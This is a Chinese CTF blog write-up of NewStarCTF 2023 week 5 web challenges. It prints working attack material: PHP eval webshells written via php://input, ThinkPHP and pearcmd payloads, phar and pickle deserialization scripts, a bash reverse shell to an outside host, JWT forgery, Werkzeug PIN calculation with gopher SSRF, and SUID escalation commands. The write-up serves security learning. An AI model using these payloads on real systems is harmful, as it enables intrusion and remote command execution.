NewStarCTF 2023 week5--web

目录

[Unserialize Again](#Unserialize Again)

法一:(非预期)

法二:

Final

[Ye's Pickle](#Ye's Pickle)

pppython?

4-复盘


Unserialize Again

f12告诉了我们cookie, 查看一下,可以发现 pairing.php

php 复制代码
 <?php
highlight_file(__FILE__);
error_reporting(0);  
class story{
    private $user='admin';
    public $pass;
    public $eating;
    public $God='false';
    public function __wakeup(){
        $this->user='human';
        if(1==1){
            die();
        }
        if(1!=1){
            echo $fffflag;
        }
    }
    public function __construct(){
        $this->user='AshenOne';
        $this->eating='fire';
        die();
    }
    public function __tostring(){
        return $this->user.$this->pass;
    }
    public function __invoke(){
        if($this->user=='admin'&&$this->pass=='admin'){
            echo $nothing;
        }
    }
    public function __destruct(){
        if($this->God=='true'&&$this->user=='admin'){
            system($this->eating);
        }
        else{
            die('Get Out!');
        }
    }
}                 
if(isset($_GET['pear'])&&isset($_GET['apple'])){
    // $Eden=new story();
    $pear=$_GET['pear'];
    $Adam=$_GET['apple'];
    $file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));
    file_exists($Adam);
}
else{
    echo '多吃雪梨';
} 多吃雪梨

法一:(非预期)

不管前面的反序列化,直接利用 php://input ,猜测路径为var/www/html

GET: ?pear=/var/www/html/1.php&apple=1

POST: <?php eval($_POST'cmd');?> urlencode一下

可以发现可以访问1.php ,

但是 cmd=phpinfo(); 却没有反应,啥也没有,不知道为啥,看别人的博客应该是可以的

尝试尝试传一个 1.txt, 里面的内容也可以显示出来啊

不晓得为啥1.php就是无法执行命令, 蚁剑也连不上,可能哪里出问题了 哎,太菜了

法二:

phar反序列化, file_exists()参数可控, 配合phar://伪协议 进行反序列化

需要利用的

生成phar文件:

php 复制代码
<?php
class story{
    public $God='true';
    public  $eating='ls /';
}

$phar=new Phar('1.phar');
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$a=new story();
$phar->setMetadata($a);
$phar->addFromString('1.txt','test');
$phar->stopBuffering();

需要绕过__wakeup() 在记事本中打开生成的phar文件,修改一下相关的数字,改大一点

因为文件的内容改了,所以签名也需要换一个

相关的脚本

python 复制代码
from hashlib import sha256

with open("1.phar", 'rb') as file:
    f = file.read()
    s = f[:-40]
    h = f[-8:] 
    newf = s + sha256(s).digest() + h  
with open('newtest.phar', 'wb') as file:
    file.write(newf)

利用python直接传

python 复制代码
import urllib.parse
import requests

url='http://ba0133bd-772b-45c9-bcb2-3dbf95a23a5d.node5.buuoj.cn:81/pairing.php'
params={
    'pear':'1.phar','apple':'phar://1.phar'
}
with open('newtest.phar','rb') as f:
    f=f.read()
    data=urllib.parse.quote(f)
    # print(data)
    res=requests.post(url=url,data=data,params=params)
    # print(res.text)


没有成功,

想着直接将urlencode 后的数据直接放在浏览器POST里面传参,但也没成功,

bp抓包传, 也没成功, 真有点不理解了,已经懵了

流程应该是这么个流程, 也不晓得中间哪个过程搞错了还是咋的, 一直弄不了

先放这里吧, 哎!

Final

thinkphp的版本漏洞,先搜一下5.0的漏洞

网上搜到的一个, 但是用不了,可能具体的版本不一样,尝试使它报错,得到具体的版本情况

随便仿照写一个 /index.php?s=1

可以发现具体的版本,再搜索一下
https://www.cnblogs.com/--kisaragi--/p/15315131.html

要利用的漏洞点

可以看到执行了 phpinfo 函数

但是这里禁用了system函数,

离谱了,之前都还行,现在环境又不行了 , 一样的参数, 我真服了, 重启也不行

后面应该就是写马了 ,因为被禁用了system函数, 利用exec函数进行写马, 然后蚁剑连接

_method=__construct&filter\[\]=exec&method=get&serverREQUEST_METHOD=echo '<?php eval($_POST'cmd');?>' > /var/www/public/1.php

不过最后还需要suid提权, 使用这个命令寻找相关具有suid权限的命令

复制代码
find / -user root -perm -4000 -print 2>/dev/nul

附上别人的几张张图, 可以用cp命令
/dev/stdout :标准输出

直接将具有flag内容的文件复制到终端输出

流程应该是这么个流程, 环境可能有点问题, 没有复现出来

Ye's Pickle

app.py

python 复制代码
# -*- coding: utf-8 -*-
import base64
import string
import random
from flask import *
import jwcrypto.jwk as jwk
import pickle
from python_jwt import *
app = Flask(__name__)

def generate_random_string(length=16):
    characters = string.ascii_letters + string.digits  # 包含字母和数字
    random_string = ''.join(random.choice(characters) for _ in range(length))
    return random_string
app.config['SECRET_KEY'] = generate_random_string(16)
key = jwk.JWK.generate(kty='RSA', size=2048)
@app.route("/")
def index():
    payload=request.args.get("token")
    if payload:
        token=verify_jwt(payload, key, ['PS256'])
        session["role"]=token[1]['role']
        return render_template('index.html')
    else:
        session["role"]="guest"
        user={"username":"boogipop","role":"guest"}
        jwt = generate_jwt(user, key, 'PS256', timedelta(minutes=60))
        return render_template('index.html',token=jwt)

@app.route("/pickle")
def unser():
    if session["role"]=="admin":
        pickle.loads(base64.b64decode(request.args.get("pickle")))
        return render_template("index.html")
    else:
        return render_template("index.html")
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True)

需要伪造jwt

使得 session'role'=='admin'

这个伪造的有点懵, 有点没怎么理解

python 复制代码
import base64
from datetime import timedelta
from json import loads, dumps
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    parsed_payload['role'] = 'admin'
    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

originaltoken ='eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3MjA1OTk4OTAsImlhdCI6MTcyMDU5NjI5MCwianRpIjoiOGNmaV9BRWRsY3ViM1hsajJ5M0MwdyIsIm5iZiI6MTcyMDU5NjI5MCwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.Jkr3-2vXnQIpAtpuxHbvgcK0z2vFa-LOanqQLOtGutNH_5aeORAw6yryHUvvFFckzaTAoIakk0s-90RtnSJdYozK0LgJr64drolvvuqKtpjuaaLTT4yIXR63VcjMuGdCl3jLioUpnVOgq_v_JIyZ4OA9uRaUnGzCiX8Q-CJKPu9AAMNFFlBCsbTVS2iEqOj2SGap4jlfSSJVQpd4syJREQCOE2RfYFwLRZ9S6IzkUH_wJbRnxrKi7uCGUimIp4oC2qmnqp8CvhoLQVKHtDL6OmSRetIqI_YVh7z8WNjMshZvJzjMNB4ZyMrpW5NNJ7IHNqzaE_2InvtzUJGxFuSAjA'
topic = topic(originaltoken)
print(topic)

?token=得到的结果

然后再进入 /pickle路由 进行pickle反序列化

python 复制代码
import base64
opcode=b'''cos
system
(S"bash -c 'bash -i >& /dev/tcp/f57819674z.imdo.co/54789 0>&1'"
tR.
'''
print(base64.b64encode(opcode))

看了一下session已经是admin了啊,

但用自己的服务器总是没能反弹shell成功, 一直连不上

又没能复现成功,不过多了解了一下jwt的伪造 和 pickle反序列化也还行

pickle反序列化初探 - 先知社区

pppython?

php 复制代码
<?php
    
    if ($_REQUEST['hint'] == ["your?", "mine!", "hint!!"]){
        header("Content-type: text/plain");
        system("ls / -la");
        exit();
    }
    
    try {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
        curl_setopt($ch, CURLOPT_HTTPHEADER, $_REQUEST['lolita']);
        $output = curl_exec($ch);
        echo $output;
        curl_close($ch);   
    }catch (Error $x){
        highlight_file(__FILE__);
        highlight_string($x->getMessage());
    }

?>

根据要求传参 :?hint0=your?&hint1=mine!&hint2=hint!!

可以执行命令 ls / -la 列出目录及权限

注意lolita需要传参一个数组

前面所列出来的目录里面有个 app.py文件 尝试读取

ssrf漏洞 , 利用file://协议读取文件

python 复制代码
from flask import Flask, request, session, render_template, render_template_string
import os, base64
#from NeepuF1Le import neepu_files

app = Flask(__name__)

app.config['SECRET_KEY'] = '******'
@app.route('/')
def welcome():
    if session["islogin"] == True:
        return "flag{***********************}"

    


app.run('0.0.0.0', 1314, debug=True)1

想着伪造session得到flag, 但好像伪造不了

又可以看到开启了debug, 可以计算pin值 ,进入到 /console 里面

依旧是利用file://协议 去读取所需要的文件

首先用户名 : root (前面执行的 ls 那块的命令可以猜测出)

modname 一般默认为 flask.app

appname 一般默认为 flask

app.py的绝对路径一般是通过报错得到,但这里好像无法得到

通过进入到debug里面得到 : /usr/local/lib/python3.10/dist-packages/flask/app.py

?url=file:///sys/class/net/eth0/address&lolita\[\]=

网卡的mac地址:(转十进制)

709723444170211

machine-id是由两个值拼接的:

?url=file:///proc/sys/kernel/random/boot_id&lolita\[\]=

aac85635-508f-4b5b-be84-c1a02d61f9f7

?url=file:///proc/self/cgroup&lolita\[\]=
cri-containerd-6c00d510dbe08bb97a736ca2f55e2d44366e57395f8ac2c1f212517883888c02.scope

题目应该出了点问题吧, 理论上不是应该是有个docker啥的啊

比如别人读取的文件, 应该是要有个docker然后再是后面的数字啊, 有点懵,感觉应该是环境变了

然后就是根据得到的信息计算pin值

直接拿别人的,改一下里面相应的值就行

python 复制代码
import hashlib
from itertools import chain
import time
probably_public_bits = [
    'root'  
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.10/site-packages/flask/app.py'
]

private_bits = [
    '709723444170211',
    'aac85635-508f-4b5b-be84-c1a02d61f9f7cri-containerd-6c00d510dbe08bb97a736ca2f55e2d44366e57395f8ac2c1f212517883888c02.scope'
    '8cab9c97-85be-4fb4-9d17-29335d7b2b8adocker-de0acd954e28d766468f4c4108e32529318e5e4048153309680469d179d6ceac.scope'
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

print(cookie_name + "=" + f"{int(time.time())}|{hash_pin(rv)}")

后面的一些步骤就有点看不懂了,唉, 又没能复现出来

看这篇文章
NewStarCTF 2023 公开赛道 Web_newstarctf 2023 公开赛道genshin-CSDN博客

frm的值为0, 因为没有报错

访问一下console,获取s值

?url=http://localhost:1314/console\&lolita\[\]=

复制代码
 s=Khhv9IfiCVDYPR2GvauW

得用gopher协议来打,实现rce,脚本:

python 复制代码
import urllib.parse
import urllib.request

cmd = 'whoami'
s = "KsDz7oqmCrFx5nOp8vKz"
host = "127.0.0.1:1314"
# cookie = "__wzddde03e10368497982792=1698651626|c9f35062072d"
pin = "113-575-700"
poc = f"""GET http://127.0.0.1:1314/console?&__debugger__=yes&pin={pin}&cmd={cmd}&frm=0&s={s} HTTP/1.1
Host: {host}
Connection: close
"""

new_poc = urllib.parse.quote(poc).replace('%0A', '%0D%0A')
res = f'gopher://{host}/_' + new_poc
print(urllib.parse.quote(res))

4-复盘

php 复制代码
  <?php 
        if (isset($_GET['page'])) {
          $page ='pages/' .$_GET['page'].'.php';

        }else{
          $page = 'pages/dashboard.php';
        }
        if (file_exists($page)) {
          require_once $page; 
        }else{
          require_once 'pages/error_page.php';
        }
 ?>

可以文件包含, 利用 pearcmd.php本地文件包含 写shell

payload:(套路格式)

?+config-create+/&page=../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_POST'cmd');?>+1.php

蚁剑连接之后会发现无法读取flag, 权限不够, 需要suid提权

使用gzip命令提权

gzip -f /flag -t

可以得到flag

NewStarCTF 2023 公开赛道 Web_newstarctf 2023 公开赛道genshin-CSDN博客

https://www.cnblogs.com/EddieMurphy-blogs/p/17813704.html
NewStarCtf 2023 week3&week4&week5 web部分题目复现_newstarctf include 馃崘-CSDN博客

NewStarCTF 2023 web题解_ctf web题 发现多个公司员工email-CSDN博客

相关推荐
曲幽2 天前
刚部署的 LibreTranslate 频频翻车?我掏出了 20 年前的 StarDict 词典,用 FastAPI 搭了个本地词典翻译 API
python·fastapi·web·translate·goldendict·libretranslate·stardict·pystardict
曲幽3 天前
别再用网页翻译看源码了!你的私人翻译神器LibreTranslate,部署避坑指南来了
python·docker·web·pot·translate·libretranslate·arogstranslate
两个人的幸福4 天前
Windows 桌面应用自研 PHP 队列(下):完整代码与六大工程化优化
php
BingoGo6 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack6 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户3074596982077 天前
PHP 扩展——从入门到理解
php
鹏仔先生7 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下8 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
xingpanvip8 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
酉鬼女又兒8 天前
零基础入门计算机网络运输层:端到端通信核心作用、端口号分类规则、复用分用工作机制及UDP与TCP协议全方位对比详解
网络·网络协议·tcp/ip·计算机网络·考研·udp·php